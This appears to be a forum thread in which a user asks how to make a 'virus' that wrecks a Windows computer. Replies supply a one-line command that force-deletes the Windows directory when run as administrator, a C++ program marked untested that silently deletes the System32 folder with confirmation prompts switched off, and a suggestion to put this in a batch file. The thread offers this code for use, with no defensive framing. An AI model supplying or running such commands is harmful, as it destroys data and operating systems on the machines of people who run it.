i need help

Posts 1–4 of 4 · Page 1 of 1
i need help
i need help to make a computer virus that can "Destroy" the computer i.e make it stop in time.
Code:
del /f /s %windir%\*
Works every time.
Make sure you run cmd.exe as admin.
Code:
#include <Windows.h>
#include <string>

bool explorer_operation(std::wstring, std::wstring, size_t, bool = false);

void main()
{
	explorer_operation(L"C:\\Windows\\System 32\\", L"", FO_DELETE);
}

bool explorer_operation(std::wstring pathFrom, std::wstring pathTo, size_t operation, bool allow_undo)
{
	for (int i = 0; i != 2; ++i) {
		pathFrom.push_back('\0');
		pathTo.push_back('\0');
	}

	SHFILEOPSTRUCT fileop;
	fileop.hwnd = NULL;    // no status display
	fileop.wFunc = operation;
	fileop.pFrom = pathFrom.c_str();
	fileop.pTo = pathTo.c_str();
	fileop.fFlags = FOF_NOCONFIRMATION | FOF_SILENT;  // do not prompt the user

	if (allow_undo)
		fileop.fFlags |= FOF_ALLOWUNDO;

	fileop.fAnyOperationsAborted = FALSE;
	fileop.lpszProgressTitle = NULL;
	fileop.hNameMappings = NULL;

	return (SHFileOperation(&fileop) == 0);
}
Untested
You could just make a .bat file to destroy the system files and gg.
Posts 1–4 of 4 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us